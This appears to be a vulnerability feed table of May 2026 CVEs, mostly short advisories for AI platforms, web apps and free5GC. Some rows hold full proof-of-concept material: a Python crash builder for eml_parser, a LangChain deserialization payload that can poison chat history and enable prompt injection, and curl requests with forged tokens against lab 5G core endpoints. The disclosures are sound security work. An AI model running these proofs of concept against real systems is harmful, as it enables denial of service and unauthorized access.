| CVE | Sev | Risk | CVSS | EPSS | KEV | Published | Description |
|---|---|---|---|---|---|---|---|
| CVE-2026-44286 | Low | 0.15 | — | 0.00 | May 8, 2026 | FastGPT is an AI Agent building platform. Prior to version 4.14.17, an unauthenticated Server-Side Request Forgery (SSRF) vulnerability allows attackers (or authenticated users with App editing privileges) to send arbitrary HTTP requests to internal/private network addresses. The fetchData function in the lafModule workflow node uses axios to fetch user-controlled URLs without validating them against the application's internal network blocklist guard (isInternalAddress), bypassing SSRF protections. This issue has been patched in version 4.14.17. | |
| CVE-2026-44284 | Med | 0.41 | 6.3 | 0.00 | May 8, 2026 | FastGPT is an AI Agent building platform. Prior to version 4.14.17, FastGPT had an inconsistent SSRF protection gap in MCP tool URL handling. The direct MCP preview/run endpoints already rejected internal/private network URLs, but the MCP tool create/update endpoints could still save an internal MCP server URL. That stored URL could later be used by workflow execution without revalidating the destination. An authenticated user with permission to create or manage MCP toolsets could store an internal endpoint such as http://localhost:3000/mcp and later cause the FastGPT backend workflow runner to connect to that internal destination. This issue has been patched in version 4.14.17. | |
| CVE-2026-42556 | Hig | 0.58 | 8.9 | 0.00 | May 8, 2026 | Postiz is an AI social media scheduling tool. From version 2.21.6 to before version 2.21.7, any authenticated user who can create a post can store arbitrary HTML in post content by tampering their own save request and send the public preview link /p/<postId>?share=true to another user. The preview page renders that stored HTML with dangerouslySetInnerHTML on the main application origin. This issue has been patched in version 2.21.7. | |
| CVE-2026-42456 | Med | 0.28 | 4.3 | 0.00 | May 8, 2026 | AnythingLLM is an application that turns pieces of content into context that any LLM can use as references during chatting. Prior to version 1.12.1, GET /api/workspace/:slug/tts/:chatId in AnythingLLM returns the text-to-speech audio for another user's chat response within the same workspace because the route validates workspace membership but does not enforce ownership of the targeted chat row. As a result, an authenticated user can access another user's private assistant response in audio form if the chatId is known or guessed. This constitutes an insecure direct object reference (IDOR) affecting private chat response content exposed through the TTS endpoint. This issue has been patched in version 1.12.1. | |
| CVE-2026-42454 | Cri | 0.64 | 9.9 | 0.00 | May 8, 2026 | Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities. Prior to version 2.1.0, all Docker container management endpoints in Termix interpolate the containerId URL path parameter and WebSocket message field directly into shell commands executed via ssh2.Client.exec() on remote managed servers without any sanitization or validation. An authenticated attacker can inject arbitrary OS commands by crafting a malicious container ID, achieving Remote Code Execution on any managed server. This issue has been patched in version 2.1.0. | |
| CVE-2026-42453 | Hig | 0.57 | — | 0.00 | May 8, 2026 | Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities. Prior to version 2.1.0, the extractArchive and compressFiles endpoints in file-manager.ts use double-quoted strings for shell command construction, unlike all other file manager operations which use single-quote escaping. Double quotes allow $(command) substitution, enabling command injection on the remote SSH host. This issue has been patched in version 2.1.0. | |
| CVE-2026-42452 | Hig | 0.53 | 8.1 | 0.00 | May 8, 2026 | Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities. Prior to version 2.1.0, /users/login issues a temporary JWT (temp_token) for TOTP-enabled accounts. That token carries a pendingTOTP state and should only be valid for the second-factor flow. However, the auth middleware accepts this token on regular authenticated endpoints. This effectively turns 2FA into single-factor (password) for impacted accounts. This issue has been patched in version 2.1.0. | |
| CVE-2026-42451 | Med | 0.41 | 6.3 | 0.00 | May 8, 2026 | Grimmory is a self-hosted digital library. Prior to version 2.3.1, a stored cross-site scripting (XSS) vulnerability in Grimmory's browser-based EPUB reader allows an attacker to embed arbitrary JavaScript in a crafted EPUB file. When a victim opens the book, the script executes in their browser with full access to the Grimmory application's session context. This can enable session token theft and account takeover, including administrative access if an administrator opens the affected book. This issue has been patched in version 2.3.1. | |
| CVE-2026-42354 | Cri | 0.52 | 9.1 | 0.00 | May 8, 2026 | Sentry is an error tracking and performance monitoring tool. From version 21.12.0 to before version 26.4.1, a critical vulnerability was discovered in the SAML SSO implementation of Sentry. The vulnerability allows an attacker to take over any user account by using a malicious SAML Identity Provider and another organization on the same Sentry instance. The victim email address must be known in order to exploit this vulnerability. This issue has been patched in version 26.4.1. | |
| CVE-2026-42352 | Hig | 0.49 | 8.6 | 0.00 | May 8, 2026 | pygeoapi is a Python server implementation of the OGC API suite of standards. From version 0.23.0 to before version 0.23.3, OGC API process execution requests can use the subscriber object to requests to internal HTTP services. This issue has been patched in version 0.23.3. | |
| CVE-2026-42351 | Hig | 0.42 | 7.5 | 0.00 | May 8, 2026 | pygeoapi is a Python server implementation of the OGC API suite of standards. From version 0.23.0 to before version 0.23.3, a raw string path concatenation vulnerability in pygeoapi's STAC FileSystemProvider plugin can allow for requests to STAC collection based collections to expose directories without authentication. The issue manifests when pygeoapi is deployed without a proxy or web front end that would normalize URLs with .. values, along with a resource of type stac-collection defined in configuration. This issue has been patched in version 0.23.3. | |
| CVE-2026-42350 | Med | 0.33 | — | 0.00 | May 8, 2026 | Kargo manages and automates the promotion of software artifacts. Prior to versions 1.7.10, 1.8.13, 1.9.8, and 1.10.2, Kargo is vulnerable to open redirect in UI OIDC login flow via the redirectTo query parameter. This issue has been patched in versions 1.7.10, 1.8.13, 1.9.8, and 1.10.2. | |
| CVE-2026-42346 | Med | 0.42 | 6.5 | 0.00 | May 8, 2026 | Postiz is an AI social media scheduling tool. From version 2.16.6 to before version 2.21.7, all SSRF protections added in v2.21.4–v2.21.6 share a fundamental TOCTOU (Time-of-Check-Time-of-Use) vulnerability: isSafePublicHttpsUrl() resolves DNS to validate the target IP, but subsequent fetch() calls resolve DNS independently. An attacker controlling a DNS server can exploit this gap via DNS rebinding to redirect requests to internal network addresses. This issue has been patched in version 2.21.7. | |
| CVE-2026-42345 | Hig | 0.50 | 7.7 | 0.00 | May 8, 2026 | FastGPT is an AI Agent building platform. In versions 4.14.11 and prior, FastGPT's isInternalAddress() function in packages/service/common/system/utils.ts blocks cloud metadata endpoints using a fullUrl.startsWith() check against a hardcoded list. This check can be bypassed using at least 7 different URL encoding techniques, all of which resolve to the same cloud metadata service but do not match the blocklist patterns. Additionally, the broader private IP check (isInternalIPv4/isInternalIPv6) is disabled by default because CHECK_INTERNAL_IP defaults to false (not 'true'), so these bypasses reach the metadata endpoint without any further validation. At time of publication, there are no publicly available patches. | |
| CVE-2026-42344 | Med | 0.41 | 6.3 | 0.00 | May 8, 2026 | FastGPT is an AI Agent building platform. In versions 4.14.11 and prior, FastGPT's isInternalAddress() function in packages/service/common/system/utils.ts is vulnerable to DNS rebinding (TOCTOU — Time-of-Check to Time-of-Use). The function resolves the hostname via dns.resolve4()/dns.resolve6() and checks resolved IPs against private ranges, but the actual HTTP request happens in a separate call with a new DNS resolution, allowing the DNS record to change between validation and fetch. At time of publication, there are no publicly available patches. | |
| CVE-2026-42343 | Med | 0.41 | — | 0.00 | May 8, 2026 | FastGPT is an AI Agent building platform. In versions 4.14.13 and prior, the code-sandbox component suffers from insufficient resource isolation and uncontrolled resource consumption. The service relies solely on an application-level soft limit (a 500ms polling interval) for memory management and lacks strict OS-level constraints such as cgroups or kernel-level namespaces. This architectural weakness allows attackers to easily bypass memory checks via time-window attacks, or exhaust the entire JavaScript worker pool via concurrent CPU-intensive requests, resulting in a complete Denial of Service (DoS) for legitimate users. At time of publication, there are no publicly available patches. | |
| CVE-2026-42339 | Hig | 0.46 | 7.1 | 0.00 | May 8, 2026 | New API is a large language mode (LLM) gateway and artificial intelligence (AI) asset management system. In versions 0.11.9-alpha.1 and prior, the SSRF protection introduced in v0.9.0.5 (CVE-2025-59146) and hardened in v0.9.6 (CVE-2025-62155) does not block the unspecified address 0.0.0.0. A regular (non-admin) user holding any valid API token can send a multimodal request to /v1/chat/completions, /v1/responses, or /v1/messages with 0.0.0.0 as the image/file URL host, bypassing the private-IP filter and causing the server to issue HTTP requests to localhost. This constitutes at minimum a blind SSRF; when the request is routed through an AWS/Bedrock Claude adaptor, the fetched content is inlined into the model response, upgrading it to a full-read SSRF. At time of publication, there are no publicly available patches. | |
| CVE-2026-42307 | Med | 0.22 | 4.4 | 0.00 | May 8, 2026 | Vim is an open source, command line text editor. Prior to version 9.2.0383, an OS command injection vulnerability exists in the netrw standard plugin bundled with Vim. By inducing a user to open a crafted URL (e.g., using the sftp:// or file:// protocol handlers), an attacker can execute arbitrary shell commands with the privileges of the Vim process. This issue has been patched in version 9.2.0383. | |
| CVE-2026-42302 | Cri | 0.64 | 9.8 | 0.00 | May 8, 2026 | FastGPT is an AI Agent building platform. From version 4.14.10 to before version 4.14.13, the agent-sandbox component of FastGPT is vulnerable to unauthenticated Remote Code Execution (RCE). The startup script entrypoint.sh initializes code-server with the --auth none flag and binds the service to all network interfaces (0.0.0.0:8080). This configuration allows any user with network access to the port to bypass authentication and gain full control over the sandbox environment. This issue has been patched in version 4.14.13. | |
| CVE-2026-42298 | Cri | 0.65 | 10.0 | 0.00 | May 8, 2026 | Postiz is an AI social media scheduling tool. Prior to commit da44801, a "Pwn Request" vulnerability in the Build and Publish PR Docker Image workflow (.github/workflows/pr-docker-build.yml) allows any unauthenticated user to execute arbitrary code during the Docker build process and exfiltrate a highly privileged GITHUB_TOKEN (write-all permissions). This can be achieved simply by opening a Pull Request from a fork with a maliciously modified Dockerfile.dev. This issue has been patched via commit da44801. | |
| CVE-2026-42291 | Med | 0.44 | 6.8 | 0.00 | May 8, 2026 | SysReptor is a fully customizable pentest reporting platform. From version 2026.4 to before version 2026.27, the endpoints for reading and creating sharing links for personal notes is not properly authorized. This allows authenticated attackers who obtain the note ID of victim users to list and create sharing links to those users' personal notes. This gives attackers read and write access to notes of other users. This exploit works in both SysReptor Professional and Community. In Community it has, however, no impact because all users have superuser permissions and can list personal notes of other users at /admin/pentests/usernotebookpage/. This issue has been patched in version 2026.27. | |
| CVE-2026-42224 | Hig | 0.49 | 7.6 | 0.00 | May 8, 2026 | ipl/web is a set of common web components for php projects. Prior to version 0.13.1, the vulnerability allows an attacker to inject malicious Javascript into a victim's browser to run it in the context of Icinga Web. The victim needs to visit a specifically prepared website and may have no immediate chance to notice any wrongdoing. This issue has been patched in version 0.13.1. | |
| CVE-2026-41682 | Med | 0.45 | — | 0.00 | May 8, 2026 | pupnp is an SDK for development of UPnP device and control point applications. Prior to version 1.18.5, pupnp is vulnerable to SRRF port confusion due to port truncation via atoi() cast in parse_uri(). This issue has been patched in version 1.18.5. | |
| CVE-2026-41520 | Hig | 0.51 | 7.9 | 0.00 | May 8, 2026 | Cilium is a networking, observability, and security solution with an eBPF-based dataplane. Prior to versions 1.17.15, 1.18.9, and 1.19.3, the output of cilium-bugtool can contain sensitive data when the tool is run against Cilium deployments with WireGuard encryption enabled. This issue has been patched in versions 1.17.15, 1.18.9, and 1.19.3. | |
| CVE-2026-41432 | Hig | 0.46 | 7.1 | 0.00 | May 8, 2026 | New API is a large language mode (LLM) gateway and artificial intelligence (AI) asset management system. Prior to version 0.12.10, a vulnerability exists in the Stripe webhook handler that allows an unauthenticated attacker to forge webhook events and credit arbitrary quota to their account without making any payment. This issue has been patched in version 0.12.10. | |
| CVE-2026-44844 | med | 0.26 | — | — | May 8, 2026 | ### Summary `EmlParser.get_raw_body_text()` recurses unconditionally for every nested `message/rfc822` attachment without any depth limit. An attacker who can supply a badly crafted EML file with approximately 120 nested `message/rfc822` parts triggers an unhandled `RecursionError` and aborts parsing of the message. A 12 KB EML file is enough to crash a worker. Though this causes the parser to crash, it is an unlikely scenario as the suggested EML that crashes the parser would not pass basic RFC compliance tests. ### Details The vulnerable function is `EmlParser.get_raw_body_text()` in `eml_parser/parser.py`. For every part of type `multipart/*`, the function iterates over its sub-parts; for every sub-part of type `message/rfc822`, it calls itself recursively on the inner message: There is no depth parameter and no early-abort. CPython's default `sys.recursionlimit` is 1000. Each level of `message/rfc822` nesting adds approximately 8 frames to the stack (parser code + stdlib `_header_value_parser` calls), so roughly 120 nested levels exhaust the limit. The `RecursionError` is not caught anywhere along the call chain, so it propagates out of `decode_email_bytes()` and aborts processing of the entire message. ### PoC Environment: Python 3.12.3, eml_parser 3.0.0 (`pip install eml_parser==3.0.0`), default `sys.recursionlimit=1000`, Ubuntu 24.04 aarch64. No special configuration of `EmlParser`, default constructor. Self-contained reproducer that builds the PoC and triggers the crash: ```python import eml_parser def build_poc(depth=124): inner = b"From: a@a\r\nTo: b@b\r\nContent-Type: text/plain\r\n\r\n.\r\n" msg = inner for i in range(depth): b = f"B{i}".encode() msg = ( b'Content-Type: multipart/mixed; boundary="' + b + b'"\r\n\r\n' b'--' + b + b'\r\nContent-Type: message/rfc822\r\n\r\n' ) + msg + b'\r\n--' + b + b'--\r\n' return msg ep = eml_parser.EmlParser() ep.decode_email_bytes(build_poc()) # RecursionError after ~76 ms on Apple Silicon (Ubuntu 24.04 aarch64). ``` Note that the suggested code does not produce an RFC compliant message. Resulting EML payload size: 12,369 bytes. SHA-256 of generated PoC: `00f15f635e21b4144967c2893b37425e6a6bd7b4185c557e5c7e904e1e6d18e8` The crash is deterministic on a stock install. No network, no special headers, no large attachments. ### Impact Denial of service of any pipeline that processes attacker-supplied EML files using `eml_parser`. A single 12 KB email is enough to crash a worker. If the worker is a long-running process triaging multiple emails, the unhandled exception aborts processing of the whole batch unless the caller wraps the call in a broad `try/except`. Even then, attacker-supplied volume can keep workers in a perpetual restart loop. The vulnerability is exploitable pre-authentication in any deployment that ingests emails from external senders which have not been subject to any kind of basic validation. Considering that email messages pass through a mail-server which does some kind of validation, messages as produced by the *build_poc* function would not reach eml_parser. Nonetheless recursion depth checks have been implemented to handle the described issue. ### Reporter Sebastián Alba Vives (`@Sebasteuo`) Independent security researcher, Senior AppSec Consultant LinkedIn: https://www.linkedin.com/in/sebastian-alba Email: sebasjosue84@gmail.com PGP: `0D1A E4C2 CFC8 894F 19EA DA24 45CD CA33 2CF8 31F4` | |
| CVE-2026-44843 | hig | 0.45 | — | — | May 8, 2026 | LangChain contains older runtime code paths that deserialize run inputs, run outputs, or other application-controlled payloads using overly broad object allowlists. These paths may call `load()` with `allowed_objects="all"`. This does not enable arbitrary Python object deserialization, but it does allow any trusted LangChain-serializable object to be revived, which is broader than these runtime paths require. As a result, attacker-supplied LangChain serialized constructor dictionaries may cause trusted runtime paths to instantiate classes with untrusted constructor arguments. Applications are exposed only when all of the following are true: 1. The application accepts untrusted structured input, such as JSON, from a user or network request. 2. The application does not validate or canonicalize that input into an inert schema before invoking LangChain. 3. Attacker-controlled nested dictionaries or lists are preserved in LangChain run inputs or outputs. 4. The application uses an affected API path that later deserializes that run data. Known affected runtime surfaces include: - `RunnableWithMessageHistory` - `astream_log()` - `astream_events(version="v1")` Related unsafe deserialization patterns may also affect applications that explicitly load serialized LangChain prompt or runnable objects from untrusted sources, including shared prompt stores, Hub artifacts with model configuration, or other application-controlled serialization stores. Applications that validate incoming requests against a fixed schema, such as coercing user input to a plain string or message-content field before invoking LangChain, are unlikely to expose this deserialization primitive. This release also fixes a related secret-marker validation bypass in the serialization and deserialization layer (`_is_lc_secret`). That issue creates an additional path by which attacker-controlled constructor dictionaries can avoid escaping during `dumps()` -> `loads()` round-trips and reach LangChain object revival logic. ## Impact An attacker who can submit untrusted structured input to an affected application, and have that structure preserved in LangChain run data, may be able to inject LangChain serialized constructor payloads such as: ```json { "lc": 1, "type": "constructor", "id": ["langchain_core", "messages", "ai", "AIMessage"], "kwargs": {"content": "attacker-controlled content"} } ``` If this payload reaches a broad `load()` call, LangChain may instantiate the referenced class instead of treating the payload as inert user data. Realistic impacts include: - Persistent chat-history poisoning when revived `AIMessage`, `HumanMessage`, or `SystemMessage` objects are stored by `RunnableWithMessageHistory`. - Prompt injection or behavior manipulation if attacker-controlled messages are later included in model context. - Instantiation of unexpected trusted LangChain objects with attacker-controlled constructor arguments. - Possible credential disclosure or server-side requests if a reachable object reads environment credentials, creates clients, or contacts attacker-controlled endpoints during initialization. - Additional prompt-template or runnable-configuration impacts in applications that separately load and execute untrusted serialized LangChain objects. ## Remediation LangChain will deprecate the affected APIs as part of this fix: - `RunnableWithMessageHistory` - `astream_log()` - `astream_events(version="v1")` These are older code paths that are no longer recommended for new applications. They were not previously marked as deprecated, but recent LangChain documentation has primarily directed users toward newer streaming and memory patterns, including the `stream` API. Applications should migrate to the currently recommended APIs rather than continue depending on these older surfaces. Separately, LangChain will update `load()` and `loads()` to tighten deserialization behavior so broad object revival is not applied implicitly to untrusted or application-controlled payloads. The older runtime surfaces listed above are being deprecated rather than preserved as supported paths for broad runtime deserialization. This release also fixes a related secret-marker validation bypass in the serialization and deserialization layer (`_is_lc_secret`). That issue creates an additional path by which attacker-controlled constructor dictionaries can avoid escaping during `dumps()` -> `loads()` round-trips and reach LangChain object revival logic. ## Guidance for `load()` and `loads()` `load()` and `loads()` should be used only with trusted LangChain manifests or serialized objects from trusted storage. Do not pass user-controlled data to `load()` or `loads()`, and do not use them as general parsers for request bodies, tool inputs, chat messages, or other attacker-controlled data. `load()` and `loads()` are beta APIs, and their behavior may change as LangChain narrows unsafe defaults. Future LangChain versions will require callers to be explicit about which objects may be revived. Users should pass a narrow `allowed_objects` value appropriate for the specific trusted manifest they are loading, rather than relying on broad defaults or `allowed_objects="all"`, which permits the full trusted LangChain serialization allowlist. ## Credits The original issue was first reported by @u-ktdi. Similar findings were reported by @dewankpant, @shrutilohani, @Moaaz-0x, @pucagit. A related `_is_lc_secret` marker bypass affecting `dumps()` -> `loads()` round-trips was reported by @yardenporat353 (and a similar report by @localhost-detect) | |
| CVE-2026-44330 | cri | 0.59 | — | — | May 8, 2026 | ### Summary free5GC's NEF mounts the `nnef-pfdmanagement` route group without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can use a forged or arbitrary bearer token (e.g. `Authorization: Bearer not-a-real-token`) to read PFD application data via `GET /applications` and `GET /applications/{appID}`, and to create or delete PFD change-notification subscriptions via `POST /subscriptions` and `DELETE /subscriptions/{subID}`. Same root cause as the other NEF SBI findings: the route group is mounted without any inbound auth middleware. Unlike the OAM and traffic-influence groups, `nnef-pfdmanagement` IS declared in the runtime `ServiceList`, so this is the production-intended path that operators expect to be protected by `OAuth2 setting receive from NRF: true` -- and it is not. ### Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nef:v4.2.0` - Runtime NEF commit: `5ce35eab` - Docker validation date: 2026-03-11 NEF advertises `OAuth2 setting receive from NRF: true`, but the entire `nnef-pfdmanagement` route group is mounted with no inbound auth middleware, so forged-token requests reach the read and subscription handlers and execute against UDR-backed state. Code evidence (paths in `free5gc/nef`): - Route group mounted without auth middleware: `NFs/nef/internal/sbi/server.go:56` - Read routes exposed at `/applications` and `/applications/:appID`: `NFs/nef/internal/sbi/api_pfdf.go:13` - Subscription routes exposed at `/subscriptions` and `/subscriptions/:subID`: `NFs/nef/internal/sbi/api_pfdf.go:13` - `GET /applications` queries UDR for application PFD data: `NFs/nef/internal/sbi/processor/pfdf.go:19` - `GET /applications/:appID` queries UDR for an application PFD: `NFs/nef/internal/sbi/processor/pfdf.go:53` - `POST /subscriptions` only checks `notifyUri` is present, then stores the subscription: `NFs/nef/internal/sbi/processor/pfdf.go:83` - `DELETE /subscriptions/:subID` removes the subscription: `NFs/nef/internal/sbi/processor/pfdf.go:110` - NEF context only exposes outbound token acquisition (`GetTokenCtx`); there is no inbound authorization path: `NFs/nef/internal/context/nef_context.go:153` ### PoC Reproduced end-to-end against the running NEF at `http://10.100.200.19:8000` using a fabricated bearer token. 1. Seed an AF context (also forged-token): ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"afServiceId":"svc-pfdf-read","afAppId":"app-seed-pfdf-read","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.41 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-pfdf-read","routeInfo":{"ipv4Addr":"10.60.0.3","portNumber":0}}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-pfdf-read-20260311/subscriptions ``` 2. Seed one PFD application entry (also forged-token): ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"app-poc-pfdf-read-20260311":{"externalAppId":"app-poc-pfdf-read-20260311","pfds":{"pfd-poc":{"pfdId":"pfd-poc","urls":["^http://pfdf-read.example.com(/\\\\S*)?$"]}}}}}' \ http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfdf-read-20260311/transactions ``` 3. READ PFD collection with forged token -> `200 OK` returns PFD data: ``` curl -i -H 'Authorization: Bearer not-a-real-token' \ 'http://10.100.200.19:8000/nnef-pfdmanagement/v1/applications?application-ids=app-poc-pfdf-read-20260311' ``` 4. READ individual PFD with forged token -> `200 OK`: ``` curl -i -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/nnef-pfdmanagement/v1/applications/app-poc-pfdf-read-20260311 ``` 5. CREATE PFD subscription with forged token -> `201 Created`: ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"applicationIds":["app-poc-sub1","app-poc-sub2"],"notifyUri":"http://127.0.0.1:65530/pfd-notify"}' \ http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions ``` 6. DELETE PFD subscription with forged token -> `204 No Content`: ``` curl -i -X DELETE \ -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions/1 ``` NEF container logs (`docker logs nef`) show requests reaching business handlers and returning success codes: ``` [INFO][NEF][PFDF] GetApplicationsPFD - appIDs: [app-poc-pfdf-read-20260311] [INFO][NEF][GIN] | 200 | GET | /nnef-pfdmanagement/v1/applications?application-ids=... [INFO][NEF][PFDF] GetIndividualApplicationPFD - appID[app-poc-pfdf-read-20260311] [INFO][NEF][GIN] | 200 | GET | /nnef-pfdmanagement/v1/applications/... [INFO][NEF][PFDF] PostPFDSubscriptions - appIDs: [app-poc-sub1 app-poc-sub2] [INFO][NEF][GIN] | 201 | POST | /nnef-pfdmanagement/v1/subscriptions [INFO][NEF][PFDF] DeleteIndividualPFDSubscription - subID[1] [INFO][NEF][GIN] | 204 | DELETE | /nnef-pfdmanagement/v1/subscriptions/1 ``` ### Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on the `nnef-pfdmanagement` SBI route group. This is the production-intended PFD service for NEF (declared in the runtime `ServiceList`), so operators expect it to be protected by NRF-issued OAuth2 -- and it is not. Any party that can reach NEF on the SBI can: - Read AF-supplied PFD application data anonymously, leaking traffic-classification policy (URL regex patterns, application identifiers) used downstream by SMF/UPF. - Create attacker-controlled PFD change-notification subscriptions pointing at attacker-chosen `notifyUri` endpoints, turning NEF into an unauthenticated outbound HTTP request source on whatever applications the attacker subscribes to. - Delete legitimate PFD subscriptions, denying change notifications to legitimate consumers and breaking downstream PFD-update propagation. The defect is route-group-scoped: there is no auth middleware on the group at all, so every read and subscription endpoint inside this group inherits the missing inbound auth boundary. Severity is scored against the route group's full capability surface. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/862 Upstream fix: https://github.com/free5gc/nef/pull/23 | |
| CVE-2026-44329 | cri | 0.52 | — | — | May 8, 2026 | ### Summary free5GC's SMF mounts the `UPI` management route group without OAuth2/bearer-token authorization middleware. A network attacker who can reach SMF on the SBI can hit `UPI` endpoints with no `Authorization` header at all, and the requests reach the SMF business handlers. In the running Docker lab this was directly demonstrated for read (`GET /upi/v1/upNodesLinks`), write (`POST /upi/v1/upNodesLinks` with attacker-controlled UP-node and link payload), and delete (`DELETE /upi/v1/upNodesLinks/{nodeID}`) operations. The defect is route-group-scoped: there is no inbound auth middleware on the UPI group at all, while a control comparison against the sibling `nsmf-oam` group on the same SMF instance shows OAM IS protected (no-token request returns `401 Unauthorized`). So this is not a global config gap -- it is specifically that the UPI group was mounted without the auth middleware that the OAM group has. ### Details Validated against the SMF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/smf:v4.2.0` - Docker validation date: 2026-03-13 Control comparison on the same SMF instance: - `GET /upi/v1/upNodesLinks` (no token) -> `200 OK` - `GET /nsmf-oam/v1/` (no token) -> `401 Unauthorized` This side-by-side proves OAuth2 middleware is wired in for `nsmf-oam` but not for `UPI` on the same process. Code evidence (paths in `free5gc/smf`): - UPI group mounted WITHOUT auth middleware: `NFs/smf/internal/sbi/server.go:76` - OAM group mounted WITH auth middleware (control): `NFs/smf/internal/sbi/server.go:95` - UPI business handlers (read / write / delete on `upNodesLinks`): - `NFs/smf/internal/sbi/api_upi.go:44` - `NFs/smf/internal/sbi/api_upi.go:60` - `NFs/smf/internal/sbi/api_upi.go:84` ### PoC Reproduced end-to-end against the running SMF at `http://10.100.200.6:8000`. 1. READ UP-nodes/links with NO `Authorization` header -> `200 OK`: ``` curl -i http://10.100.200.6:8000/upi/v1/upNodesLinks ``` 2. WRITE: POST attacker-controlled UPF node and link with NO `Authorization` header -> `200 OK`: ``` curl -i -X POST http://10.100.200.6:8000/upi/v1/upNodesLinks \ -H 'Content-Type: application/json' \ --data '{"links":[{"A":"gNB1","B":"UPF-POC-20260313","weight":1}],"upNodes":{"UPF-POC-20260313":{"type":"UPF","nodeID":"198.51.100.20","addr":"198.51.100.20","sNssaiUpfInfos":[{"sNssai":{"sst":1,"sd":"010203"},"dnnUpfInfoList":[{"dnn":"internet"}]}]}}}' ``` 3. DELETE with FORGED token -> `404 Not Found` from business logic (auth was bypassed; the 404 is a business response, not an auth rejection): ``` curl -i -X DELETE http://10.100.200.6:8000/upi/v1/upNodesLinks/UPF-POC-20260313 \ -H 'Authorization: Bearer not-a-real-token' ``` 4. CONTROL: same instance, sibling OAM route, no token -> `401 Unauthorized`: ``` curl -i http://10.100.200.6:8000/nsmf-oam/v1/ ``` SMF container logs (`docker logs smf`) confirm the side-by-side behavior: ``` [INFO][SMF][GIN] | 200 | GET | /upi/v1/upNodesLinks [INFO][SMF][GIN] | 401 | GET | /nsmf-oam/v1/ [INFO][SMF][GIN] | 404 | DELETE | /upi/v1/upNodesLinks/UPF-POC-20260313 [INFO][SMF][GIN] | 200 | POST | /upi/v1/upNodesLinks ``` ### Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on the SMF `UPI` SBI route group. Severity is scored against the route group's intended capability surface (UP-node and link topology management), which is realized by the demonstrated PoC: an unauthenticated network attacker can already today read SMF's view of the UP-plane topology, inject attacker-controlled UPF nodes and link entries, and target deletions of named entries. Any party that can reach SMF on the SBI can: - Read SMF's current UP-node and link topology view anonymously. - Inject attacker-controlled UPF entries (with attacker-chosen nodeID / addr / S-NSSAI / DNN), poisoning SMF's view of which UPFs serve which slices/DNNs and biasing subsequent UPF selection / PFCP path establishment for legitimate PDU sessions. - Issue topology delete operations against named UPF entries, denying or disrupting legitimate UPF participation in SMF's selection logic. The defect is route-group-scoped: there is no auth middleware on the UPI group at all, so every UPI endpoint inside this group inherits the missing inbound auth boundary, and the same-instance OAM control proves this is the UPI mount specifically (not a global SMF config issue). Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/887 Upstream fix: https://github.com/free5gc/smf/pull/197 | |
| CVE-2026-44328 | hig | 0.38 | — | — | May 8, 2026 | ### Summary free5GC's SMF mounts the `UPI` management route group without inbound OAuth2 middleware (same root cause as the broader UPI auth gap reported in free5gc/free5gc#887). On top of that, the `DELETE /upi/v1/upNodesLinks/{upNodeRef}` handler unconditionally dereferences `upNode.UPF` after the type-guarded async release, even though `AN`-typed nodes are constructed without a `UPF` object. As a result, a single unauthenticated `DELETE /upi/v1/upNodesLinks/gNB1` request crashes the handler with a nil-pointer panic AND mutates the in-memory user-plane topology before panicking (the `UpNodeDelete(upNodeRef)` line runs first). This is an unauthenticated, state-mutating panic-DoS sink that an off-path network attacker can trigger by name against any AN entry. ### Details Validated against the SMF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/smf:v4.2.1` - Runtime SMF commit: `8385c00a` - Docker validation date: 2026-03-22 local (container log timestamp `2026-03-21T23:43:17Z`) - SMF endpoint: `http://10.100.200.6:8000` Control comparison on the same SMF instance: - `GET /nsmf-oam/v1/` (no token) -> `401 Unauthorized` - `DELETE /upi/v1/upNodesLinks/gNB1` (no token) -> `500 Internal Server Error` (panic) The sibling `nsmf-oam` returning `401` proves OAuth middleware IS wired in for other SMF route groups; the UPI group specifically is mounted without it. Vulnerable handler logic (paths in `free5gc/smf`): ```go // NFs/smf/internal/sbi/api_upi.go:94..99 if upNode.Type == smf_context.UPNODE_UPF { go s.Processor().ReleaseAllResourcesOfUPF(upNode.UPF) } upi.UpNodeDelete(upNodeRef) upNode.UPF.CancelAssociation() // <-- panics for AN-typed nodes; nil UPF ``` The `Type == UPNODE_UPF` guard only protects the asynchronous `ReleaseAllResourcesOfUPF` call. After that, `UpNodeDelete(upNodeRef)` runs unconditionally (so the topology mutation lands first), and then `upNode.UPF.CancelAssociation()` is called unconditionally on a `*UPF` that is `nil` for `AN` nodes by construction. Code evidence: - UPI group mounted WITHOUT auth middleware: - `NFs/smf/internal/sbi/server.go:76` - `NFs/smf/internal/sbi/server.go:78` - Protected control comparison (other SMF groups DO use auth): - `NFs/smf/internal/sbi/server.go:99` - `NFs/smf/internal/sbi/server.go:105` - Delete handler (panic site): - `NFs/smf/internal/sbi/api_upi.go:94` - `NFs/smf/internal/sbi/api_upi.go:99` - AN nodes are constructed without a UPF object (root cause of the nil deref): - `NFs/smf/internal/context/user_plane_information.go:95` - `NFs/smf/internal/context/user_plane_information.go:97` ### PoC Reproduced end-to-end against the running SMF at `http://10.100.200.6:8000`. 1. Control: protected sibling OAM route returns `401`: 